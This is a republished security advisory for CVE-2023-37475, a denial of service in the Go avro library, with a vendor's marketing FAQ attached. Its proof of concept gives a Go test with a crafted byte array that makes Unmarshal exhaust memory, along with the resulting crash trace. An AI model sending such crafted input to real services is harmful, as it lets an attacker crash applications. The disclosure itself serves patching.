Summary
avro vulnerable to denial of service via attacker-controlled parameter
A well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro.
Details
The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice.
In the reproducer below, the first few bytes determine the size of the slice.
The root cause is on line 239 here:
https://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242
PoC
The issue was found during a security audit of Dapr, and I attach a reproducer that shows how the issue affects Dapr.
Dapr uses an older version of the avro library, but it is also affected if bumping avro to latest.
To reproduce:
cd /tmp
git clone --depth=1 https://github.com/dapr/components-contrib
cd components-contrib/pubsub/pulsar
now add this test to the pulsar_test.go:
func TestParsePublishMetadata2(t *testing.T) {
m := &pubsub.PublishRequest{}
m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
_, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: "bytes"})
}
run the test with go test -run=TestParsePublishMetadata2.
You should see this stacktrace:
fatal error: runtime: out of memory
runtime stack:
runtime.throw({0xc32c9c?, 0x8000?})
/usr/local/go/src/runtime/panic.go:1047 +0x5d fp=0x7ffd9b347ed8 sp=0x7ffd9b347ea8 pc=0x445a9d
runtime.sysMapOS(0xc000400000, 0x2c00000000?)
/usr/local/go/src/runtime/mem_linux.go:187 +0x11b fp=0x7ffd9b347f20 sp=0x7ffd9b347ed8 pc=0x424dfb
runtime.sysMap(0x11ab260?, 0xc3ffffffff?, 0x11bb3f8?)
/usr/local/go/src/runtime/mem.go:142 +0x35 fp=0x7ffd9b347f50 sp=0x7ffd9b347f20 pc=0x4247d5
runtime.(*mheap).grow(0x11ab260, 0x1600000?)
/usr/local/go/src/runtime/mheap.go:1522 +0x252 fp=0x7ffd9b347fc8 sp=0x7ffd9b347f50 pc=0x436832
runtime.(*mheap).allocSpan(0x11ab260, 0x1600000, 0x0, 0xae?)
/usr/local/go/src/runtime/mheap.go:1243 +0x1b7 fp=0x7ffd9b348060 sp=0x7ffd9b347fc8 pc=0x435f77
runtime.(*mheap).alloc.func1()
/usr/local/go/src/runtime/mheap.go:961 +0x65 fp=0x7ffd9b3480a8 sp=0x7ffd9b348060 pc=0x435a25
runtime.systemstack()
/usr/local/go/src/runtime/asm_amd64.s:496 +0x49 fp=0x7ffd9b3480b0 sp=0x7ffd9b3480a8 pc=0x47a469
goroutine 22 [running]:
runtime.systemstack_switch()
/usr/local/go/src/runtime/asm_amd64.s:463 fp=0xc000080930 sp=0xc000080928 pc=0x47a400
runtime.(*mheap).alloc(0x422a90?, 0x1160f40?, 0x38?)
/usr/local/go/src/runtime/mheap.go:955 +0x65 fp=0xc000080978 sp=0xc000080930 pc=0x435965
runtime.(*mcache).allocLarge(0x2?, 0x2bfffffffb, 0x1)
/usr/local/go/src/runtime/mcache.go:234 +0x85 fp=0xc0000809c0 sp=0xc000080978 pc=0x423865
runtime.mallocgc(0x2bfffffffb, 0xb44860, 0x1)
/usr/local/go/src/runtime/malloc.go:1053 +0x4fe fp=0xc000080a28 sp=0xc0000809c0 pc=0x41a57e
runtime.makeslice(0xc00024cd20?, 0x4d8560d018?, 0xc000080b18?)
/usr/local/go/src/runtime/slice.go:103 +0x52 fp=0xc000080a50 sp=0xc000080a28 pc=0x45de72
github.com/hamba/avro/v2.(*Reader).readBytes(0xc00024cd20, {0xc27ca1, 0x5})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/reader.go:239 +0x1b7 fp=0xc000080ac0 sp=0xc000080a50 pc=0x834417
github.com/hamba/avro/v2.(*Reader).ReadBytes(...)
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/reader.go:203
github.com/hamba/avro/v2.(*Reader).ReadNext(0xfaf5531d980c4e50?, {0xd24d90, 0xc0001a1da0})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/reader_generic.go:63 +0x44c fp=0xc000080ca0 sp=0xc000080ac0 pc=0x8349ec
github.com/hamba/avro/v2.(*efaceDecoder).Decode(0xc0001188f0?, 0xc00019fd10, 0xc0001a1da0?)
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/codec_dynamic.go:18 +0x1a5 fp=0xc000080d18 sp=0xc000080ca0 pc=0x8221c5
github.com/hamba/avro/v2.(*Reader).ReadVal(0xc00024cd20, {0xd24d90, 0xc0001a1da0}, {0xb2da80, 0xc00019fd10})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/codec.go:53 +0x139 fp=0xc000080d98 sp=0xc000080d18 pc=0x8200f9
github.com/hamba/avro/v2.(*frozenConfig).Unmarshal(0xc000158080, {0xd24d90, 0xc0001a1da0}, {0xc00013a640?, 0x535d2f?, 0x536253?}, {0xb2da80, 0xc00019fd10})
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/config.go:150 +0x6e fp=0xc000080de8 sp=0xc000080d98 pc=0x832b2e
github.com/hamba/avro/v2.Unmarshal(...)
/home/adam/go/pkg/mod/github.com/hamba/avro/[email protected]/decoder.go:49
github.com/dapr/components-contrib/pubsub/pulsar.parsePublishMetadata(0xc000080f18, {{0xc27698?, 0x59a?}, {0xc27ca1?, 0x536220?}})
/tmp/components-contrib/pubsub/pulsar/pulsar.go:300 +0x1f5 fp=0xc000080ef0 sp=0xc000080de8 pc=0xa3c1d5
github.com/dapr/components-contrib/pubsub/pulsar.TestParsePublishMetadata2(0x413239?)
/tmp/components-contrib/pubsub/pulsar/pulsar_test.go:154 +0xb0 fp=0xc000080f70 sp=0xc000080ef0 pc=0xa3d1b0
testing.tRunner(0xc0001b56c0, 0xc789e0)
/usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc000080fc0 sp=0xc000080f70 pc=0x53632b
testing.(*T).Run.func1()
/usr/local/go/src/testing/testing.go:1629 +0x2a fp=0xc000080fe0 sp=0xc000080fc0 pc=0x53736a
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000080fe8 sp=0xc000080fe0 pc=0x47c621
created by testing.(*T).Run
/usr/local/go/src/testing/testing.go:1629 +0x3ea
goroutine 1 [chan receive]:
runtime.gopark(0x1193660?, 0xc000122900?, 0xf0?, 0x28?, 0xc00019da28?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00019d9a8 sp=0xc00019d988 pc=0x4487f6
runtime.chanrecv(0xc0002423f0, 0xc00019daa7, 0x1)
/usr/local/go/src/runtime/chan.go:583 +0x49d fp=0xc00019da38 sp=0xc00019d9a8 pc=0x4137fd
runtime.chanrecv1(0x11926e0?, 0xb445e0?)
/usr/local/go/src/runtime/chan.go:442 +0x18 fp=0xc00019da60 sp=0xc00019da38 pc=0x4132f8
testing.(*T).Run(0xc0001b5520, {0xc34a0b?, 0x535ba5?}, 0xc789e0)
/usr/local/go/src/testing/testing.go:1630 +0x405 fp=0xc00019db20 sp=0xc00019da60 pc=0x5371e5
testing.runTests.func1(0x1193660?)
/usr/local/go/src/testing/testing.go:2036 +0x45 fp=0xc00019db70 sp=0xc00019db20 pc=0x5393a5
testing.tRunner(0xc0001b5520, 0xc00019dc88)
/usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc00019dbc0 sp=0xc00019db70 pc=0x53632b
testing.runTests(0xc000228820?, {0x11487c0, 0xa, 0xa}, {0xc00023fb60?, 0x100c00019dd10?, 0x1192d20?})
/usr/local/go/src/testing/testing.go:2034 +0x489 fp=0xc00019dcb8 sp=0xc00019dbc0 pc=0x539289
testing.(*M).Run(0xc000228820)
/usr/local/go/src/testing/testing.go:1906 +0x63a fp=0xc00019df00 sp=0xc00019dcb8 pc=0x537bfa
main.main()
_testmain.go:65 +0x1aa fp=0xc00019df80 sp=0xc00019df00 pc=0xa3f9ea
runtime.main()
/usr/local/go/src/runtime/proc.go:250 +0x207 fp=0xc00019dfe0 sp=0xc00019df80 pc=0x4483c7
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00019dfe8 sp=0xc00019dfe0 pc=0x47c621
goroutine 2 [force gc (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006cfb0 sp=0xc00006cf90 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.forcegchelper()
/usr/local/go/src/runtime/proc.go:305 +0xb0 fp=0xc00006cfe0 sp=0xc00006cfb0 pc=0x448630
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006cfe8 sp=0xc00006cfe0 pc=0x47c621
created by runtime.init.6
/usr/local/go/src/runtime/proc.go:293 +0x25
goroutine 3 [GC sweep wait]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006d780 sp=0xc00006d760 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.bgsweep(0x0?)
/usr/local/go/src/runtime/mgcsweep.go:278 +0x8e fp=0xc00006d7c8 sp=0xc00006d780 pc=0x43282e
runtime.gcenable.func1()
/usr/local/go/src/runtime/mgc.go:178 +0x26 fp=0xc00006d7e0 sp=0xc00006d7c8 pc=0x427ae6
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006d7e8 sp=0xc00006d7e0 pc=0x47c621
created by runtime.gcenable
/usr/local/go/src/runtime/mgc.go:178 +0x6b
goroutine 4 [GC scavenge wait]:
runtime.gopark(0xc00003c070?, 0xd19648?, 0x1?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006df70 sp=0xc00006df50 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.(*scavengerState).park(0x1192e40)
/usr/local/go/src/runtime/mgcscavenge.go:400 +0x53 fp=0xc00006dfa0 sp=0xc00006df70 pc=0x430753
runtime.bgscavenge(0x0?)
/usr/local/go/src/runtime/mgcscavenge.go:628 +0x45 fp=0xc00006dfc8 sp=0xc00006dfa0 pc=0x430d25
runtime.gcenable.func2()
/usr/local/go/src/runtime/mgc.go:179 +0x26 fp=0xc00006dfe0 sp=0xc00006dfc8 pc=0x427a86
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006dfe8 sp=0xc00006dfe0 pc=0x47c621
created by runtime.gcenable
/usr/local/go/src/runtime/mgc.go:179 +0xaa
goroutine 18 [finalizer wait]:
runtime.gopark(0x1a0?, 0x1193660?, 0xe0?, 0x24?, 0xc00006c770?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006c628 sp=0xc00006c608 pc=0x4487f6
runtime.runfinq()
/usr/local/go/src/runtime/mfinal.go:193 +0x107 fp=0xc00006c7e0 sp=0xc00006c628 pc=0x426b27
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006c7e8 sp=0xc00006c7e0 pc=0x47c621
created by runtime.createfing
/usr/local/go/src/runtime/mfinal.go:163 +0x45
goroutine 19 [IO wait]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc000185a78 sp=0xc000185a58 pc=0x4487f6
runtime.netpollblock(0x0?, 0x4100cf?, 0x0?)
/usr/local/go/src/runtime/netpoll.go:527 +0xf7 fp=0xc000185ab0 sp=0xc000185a78 pc=0x440e17
internal/poll.runtime_pollWait(0x7f4d85613218, 0x72)
/usr/local/go/src/runtime/netpoll.go:306 +0x89 fp=0xc000185ad0 sp=0xc000185ab0 pc=0x476b29
internal/poll.(*pollDesc).wait(0xc000158980?, 0xc0001b0ca0?, 0x0)
/usr/local/go/src/internal/poll/fd_poll_runtime.go:84 +0x32 fp=0xc000185af8 sp=0xc000185ad0 pc=0x4b4832
internal/poll.(*pollDesc).waitRead(...)
/usr/local/go/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).ReadMsg(0xc000158980, {0xc0001b0ca0, 0x10, 0x10}, {0xc00016a620, 0x1000, 0x1000}, 0x1?)
/usr/local/go/src/internal/poll/fd_unix.go:304 +0x3aa fp=0xc000185be8 sp=0xc000185af8 pc=0x4b6f2a
net.(*netFD).readMsg(0xc000158980, {0xc0001b0ca0?, 0x1?, 0xd26db0?}, {0xc00016a620?, 0x1?, 0x5?}, 0xb?)
/usr/local/go/src/net/fd_posix.go:78 +0x37 fp=0xc000185c70 sp=0xc000185be8 pc=0x68cb57
net.(*UnixConn).readMsg(0xc000122690, {0xc0001b0ca0?, 0xc00012f038?, 0xd1da40?}, {0xc00016a620?, 0xd1da40?, 0xc0001b6300?})
/usr/local/go/src/net/unixsock_posix.go:115 +0x4f fp=0xc000185d00 sp=0xc000185c70 pc=0x6a7f6f
net.(*UnixConn).ReadMsgUnix(0xc000122690, {0xc0001b0ca0?, 0x422a90?, 0xc0001b6300?}, {0xc00016a620?, 0x41a68a?, 0xc00012f260?})
/usr/local/go/src/net/unixsock.go:143 +0x3c fp=0xc000185d78 sp=0xc000185d00 pc=0x6a69bc
github.com/godbus/dbus.(*oobReader).Read(0xc00016a600, {0xc0001b0ca0?, 0xc000185e28?, 0x41aa67?})
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/transport_unix.go:21 +0x45 fp=0xc000185df0 sp=0xc000185d78 pc=0x8c1d85
io.ReadAtLeast({0xd1e040, 0xc00016a600}, {0xc0001b0ca0, 0x10, 0x10}, 0x10)
/usr/local/go/src/io/io.go:332 +0x9a fp=0xc000185e38 sp=0xc000185df0 pc=0x4af45a
io.ReadFull(...)
/usr/local/go/src/io/io.go:351
github.com/godbus/dbus.(*unixTransport).ReadMessage(0xc00012ea80)
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/transport_unix.go:91 +0x11e fp=0xc000185f68 sp=0xc000185e38 pc=0x8c239e
github.com/godbus/dbus.(*Conn).inWorker(0xc0001b2000)
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/conn.go:294 +0x3b fp=0xc000185fc8 sp=0xc000185f68 pc=0x8ab47b
github.com/godbus/dbus.(*Conn).Auth.func1()
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/auth.go:118 +0x26 fp=0xc000185fe0 sp=0xc000185fc8 pc=0x8a8766
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000185fe8 sp=0xc000185fe0 pc=0x47c621
created by github.com/godbus/dbus.(*Conn).Auth
/home/adam/go/pkg/mod/github.com/godbus/[email protected]/auth.go:118 +0x9ee
exit status 2
FAIL github.com/dapr/components-contrib/pubsub/pulsar 0.027s
Impact
Any use case of the avro Unmarshalling routine that accepts untrusted input is affected.
The impact is that an attacker can crash the running application and cause denial of service.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2023-37475 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.13.0); upgrading removes the vulnerable code path.
Affected versions
github.com/hamba/avro (< 2.13.0)
github.com/hamba/avro/v2 (< 2.13.0)
Security releases
github.com/hamba/avro → 2.13.0 (go)
github.com/hamba/avro/v2 → 2.13.0 (go)
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Upgrade the following packages to resolve this vulnerability:
github.com/hamba/avro to 2.13.0 or later; github.com/hamba/avro/v2 to 2.13.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
github.com/hamba/avro to 2.13.0 or later; github.com/hamba/avro/v2 to 2.13.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-37475? CVE-2023-37475 is a high-severity uncontrolled resource consumption vulnerability in github.com/hamba/avro (go), affecting versions < 2.13.0. It is fixed in 2.13.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2023-37475? CVE-2023-37475 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2023-37475?
github.com/hamba/avro(go) (versions < 2.13.0)github.com/hamba/avro/v2(go) (versions < 2.13.0)
- Is there a fix for CVE-2023-37475? Yes. CVE-2023-37475 is fixed in 2.13.0. Upgrade to this version or later.
- Is CVE-2023-37475 exploitable, and should I be worried? Whether CVE-2023-37475 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-37475 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-37475?
- Upgrade
github.com/hamba/avroto 2.13.0 or later - Upgrade
github.com/hamba/avro/v2to 2.13.0 or later
- Upgrade